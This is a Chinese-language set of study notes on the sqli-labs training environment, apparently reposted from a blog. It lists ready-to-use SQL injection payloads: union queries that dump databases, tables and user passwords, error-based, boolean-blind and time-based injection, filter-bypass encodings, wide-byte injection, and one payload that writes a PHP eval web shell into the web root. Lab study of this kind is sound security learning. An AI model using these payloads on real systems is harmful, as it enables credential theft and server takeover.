Sqli-labs知识总结:
Id 值 ‘ “ () 这几种方式进行组合的包裹形式
1. left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
2. regexp函数:select user() regexp ‘r’ user()的结果是root,regexp为匹配root的正则表达式
3. like函数: select user() like ‘ro%’ 匹配与regexp相似。
4. substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度
5. ascii() 将某个字符串转化为ascii值
%26%26 代表 &&
%a0代表空格
;%00 或者 || ‘1’=‘1 代表注释符
使用or代表||
对于security数据库:
查看数据 或者是:
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查看所有的数据库
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
查看所有的
查询列信息 或者是:
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
查看所以的列信息
查询一个账号和密码,或者是:
?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
直接可以得到所有的账号和密码,并且使用~符号进行分割。
报错注入
/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库
?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询所有的数据库,使用limit进行逐个查询。
布尔盲注
/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+
/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+
先通过大于号或者小于号来判断数据库的第一个字母是哪一个,也可以使用
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s
?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+
判断security数据库中的第4个表中的数据的第一位是否大于11, 也可以使用
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+
验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u
基于时间的注入
?id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞
?id=1‘ and if(length(database()) = 8,1,sleep(5))--+
当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)
?id=1‘ and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+
如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。
?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+
同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。
一句话木马
/?id=-1‘))unionselect1,2,’<?php@eval($_POST[“gxy”]);?>‘intooutfile“C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php” --+
宽字节注入
例子: id= 1’ 处理 1 \’ 进行编码 1%5c%27 带入sql后 id = \’ and XXXX 此时无法完成注入
id=1%df’ 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞
Less-34 借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ 转化为?
大致就这些了,还有其他的一些点没有写进去,可以参考之前所做的关卡进行详细查看
原文:https://www.cnblogs.com/7-58/p/12286731.html